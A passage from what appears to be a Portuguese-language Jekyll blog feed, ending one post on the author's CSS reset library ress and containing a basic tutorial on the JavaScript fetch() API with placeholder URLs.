&lt;p&gt;Ele tem o mesmo objetivo do Normalize: servir como base para o CSS. O sanitize, ao contrário do Normalize, também aplicava alguns resets que eu acho essenciais, como, por exemplo, &lt;strong&gt;box-sizing&lt;/strong&gt; e &lt;strong&gt;margin&lt;/strong&gt; e &lt;strong&gt;padding&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Logo comecei a utilizar o sanitize no lugar do Normalize, então, nesse momento, começou a aparecer alguns problemas. O Normalize é muito mais completo quando se trata em concertar bugs entre os navegadores, já o sanitize nem tanto, porem, esse último aplicava um ótimo reset. Então, eu forkei o sanitize e fiz um merge entre os projetos, criando assim o &lt;strong&gt;sanilize.css.&lt;/strong&gt;&lt;/p&gt;

&lt;h3 id=&quot;sanilizecss&quot;&gt;sanilize.css&lt;/h3&gt;

&lt;p&gt;O &lt;strong&gt;sanilize.css&lt;/strong&gt; foi um projeto que eu mantive por um bom tempo. Ele era nada mais que um merge entre o Normalize e o sanitize, removendo propriedades duplicadas e mantendo somente o que fazia sentido.&lt;/p&gt;

&lt;p&gt;Eu estava usando o sanilize em todos os projeto e ele se mostrava muito útil, juntando o que tinha de melhor nos dois.&lt;/p&gt;

&lt;p&gt;No dia &lt;strong&gt;18 de abril&lt;/strong&gt;, os planos para a &lt;strong&gt;versão 4&lt;/strong&gt; do sanitize.css foram &lt;a href=&quot;https://github.com/jonathantneal/sanitize.css/issues/90&quot;&gt;anunciados&lt;/a&gt;. Eles removeram o reset de &lt;em&gt;margin *e&lt;/em&gt; padding, *entre outros, que eu achava muito útil. Já não fazia mais sentido eu manter o sanilize como sendo um merge. Era hora de refatorar :D&lt;/p&gt;

&lt;h3 id=&quot;ress&quot;&gt;ress&lt;/h3&gt;

&lt;p&gt;O &lt;a href=&quot;https://github.com/filipelinhares/ress&quot;&gt;ress&lt;/a&gt; surgiu depois que o &lt;strong&gt;sanitize 4.0.0&lt;/strong&gt; foi lançado. Reescrevi todo o código do &lt;strong&gt;sanilize&lt;/strong&gt; e, então, renomeei o projeto para &lt;strong&gt;ress&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;ress&lt;/strong&gt; é um &lt;strong&gt;re&lt;/strong&gt;set C&lt;strong&gt;SS&lt;/strong&gt; moderno.&lt;/p&gt;

&lt;p&gt;O objetivo é garantir que coisas bobas, mas importantes do dia-a-dia, não sejam um trabalho necessário em todo novo projeto, assim como definir o &lt;em&gt;resize&lt;/em&gt; do &lt;em&gt;text area&lt;/em&gt; seja somente &lt;em&gt;vertical&lt;/em&gt; ou ficar resetando estilo de botões.&lt;/p&gt;

&lt;h3 id=&quot;ress-features&quot;&gt;&lt;strong&gt;ress features&lt;/strong&gt;&lt;/h3&gt;

&lt;p&gt;As features do &lt;strong&gt;ress&lt;/strong&gt; foram retiradas dos problemas que eu encontro mais frequentemente enquanto estou desenvolvendo.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;Aplica &lt;a href=&quot;http://www.paulirish.com/2012/box-sizing-border-box-ftw/&quot;&gt;box-sizing: border-box;&lt;/a&gt; em todos os elementos.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Zera padding e margin em todos os elementos.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;background-repeat: no-repeat por padrão em todos os elementos.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Herda &lt;em&gt;text-decoration&lt;/em&gt; e &lt;em&gt;vertical-align&lt;/em&gt; para &lt;em&gt;::before&lt;/em&gt; e &lt;em&gt;::after&lt;/em&gt;.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Remove outline de todos os elementos no hover (ainda mantido no focus).&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Aplica font-family: monospace para elementos de código.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Zera border-radius em todos os input elements.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Herda as propriedades de font nos elementos de formulários.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Remove o estilo padrão de botões em todos os navegadores.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Aplica resize vertical para textarea.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Além disso, o ress utiliza um subset do normalize para garantir que “bugs reais” sejam corrigidos.&lt;/p&gt;

&lt;h4 id=&quot;porque-utilizar-o-ress-e-não-o-normalize&quot;&gt;Porque utilizar o ress e não o Normalize?&lt;/h4&gt;

&lt;p&gt;O resultado dos seus elementos com o &lt;strong&gt;ress&lt;/strong&gt; é um HTML bem crú, todos os elementos precisam ser estilizados.&lt;/p&gt;

&lt;p&gt;Com o normalize, você pode simplesmente usar ele e tudo já terá uma cara de “&lt;strong&gt;padrão do navegador&lt;/strong&gt;”, com espaçamento em títulos e botões com um estilo básico.&lt;/p&gt;

&lt;p&gt;O código do ress está muito bem documentado. Se você tiver um tempinho livre, vale a pena dar uma olhada. Qualquer dúvida ou sugestão para o projeto, você pode contribuir pelo &lt;a href=&quot;https://github.com/filipelinhares/ress&quot;&gt;Github&lt;/a&gt;.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>O básico sobre fetch()</title>
   <link href="https://github.com/filipelinhares/jekyll-marlene/2016/js-fetch.html"/>
   <updated>2016-03-21T00:00:00+00:00</updated>
   <id>https://github.com/filipelinhares/jekyll-marlene/2016/js-fetch</id>
   <content type="html">&lt;p&gt;Fetch, permite fazer request da mesma forma como era feito antigamente com o XMLHttpRequest. Uma das diferenças é que ele utiliza &lt;a href=&quot;https://www.promisejs.org&quot;&gt;Promisses&lt;/a&gt;, o que gera uma API limpa e simples.&lt;/p&gt;

&lt;h3 id=&quot;request-básico&quot;&gt;Request básico&lt;/h3&gt;

&lt;p&gt;Fetch recebe dois parâmetros, um sendo a &lt;em&gt;url&lt;/em&gt;, e o outro as opções:&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nf&quot;&gt;fetch&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;/site/url&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;then&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;response&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// Resposta })&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;catch&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;err&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// Errou! });&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Se você usar &lt;em&gt;es6&lt;/em&gt; fica ainda mais bonito:&lt;/p&gt;

&lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nf&quot;&gt;fetch&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;/site/url&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;then&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;response&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;response&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;catch&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;err&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;Errou!&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;lidando-com-json&quot;&gt;Lidando com JSON&lt;/h3&gt;

&lt;p&gt;Se você for usar &lt;em&gt;JSON&lt;/em&gt;, o parâmetro do callback tem um método chamado &lt;em&gt;.json()&lt;/em&gt;, que ira transformar sua resposta em um objeto javascript:&lt;/p&gt;

&lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nf&quot;&gt;fetch&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;/site/url/json&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;then&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;function &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;response&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;// Converte para JSON&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;response&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;json&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;})&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;then&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;function &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;js&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;// Objeto javascript&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;js&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;text&quot;&gt;Text&lt;/h3&gt;

&lt;p&gt;Se o seu serviço recebe um &lt;em&gt;HTML&lt;/em&gt; como resposta, aqui está como você lida com uma resposta em html ou texto:&lt;/p&gt;

&lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nf&quot;&gt;fetch&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;/site/url&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;then&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;function &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;response&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;// Transforma em texto&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;response&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;text&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;})&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;then&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;function &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;txt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;// String&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;txt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;headers-and-metadatas&quot;&gt;Headers and Metadatas&lt;/h3&gt;

&lt;p&gt;Response &lt;em&gt;headers&lt;/em&gt; e &lt;em&gt;metadatas&lt;/em&gt; são encontrados no objeto &lt;em&gt;response&lt;/em&gt;, e o método &lt;em&gt;get&lt;/em&gt; é mostrado a seguir:&lt;/p&gt;

&lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nf&quot;&gt;fetch&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;/site/url&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;then&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;function &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;response&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;response&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;headers&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;Content-Type&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;response&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;headers&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;Date&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;response&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;status&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;response&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;statusText&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;response&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;response&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Você também pode setar &lt;em&gt;headers&lt;/em&gt; no seu &lt;em&gt;request&lt;/em&gt;, mas não pode setar cookies.&lt;/p&gt;

&lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nf&quot;&gt;fetch&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;/site/url&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;headers&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;Accept&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;application/json&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;Content-Type&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;application/json&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;método-post&quot;&gt;Método POST&lt;/h3&gt;

&lt;p&gt;Você também pode usar esse método com o &lt;em&gt;fetch&lt;/em&gt;, basta setar as opções como eu mostro a seguir.&lt;/p&gt;

&lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nf&quot;&gt;fetch&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;/site/url&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;method&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;post&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;headers&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;Content-type&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;application/x-www-form-urlencoded&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;body&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;a=1&amp;amp;b=2&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;})&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;then&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;function &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;res&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;res&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;json&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;})&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;then&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;function &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;Resposta em JSON&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;})&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;catch&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;function &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;error&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;Faustão fellings&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;error&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;compatibilidade&quot;&gt;Compatibilidade&lt;/h3&gt;

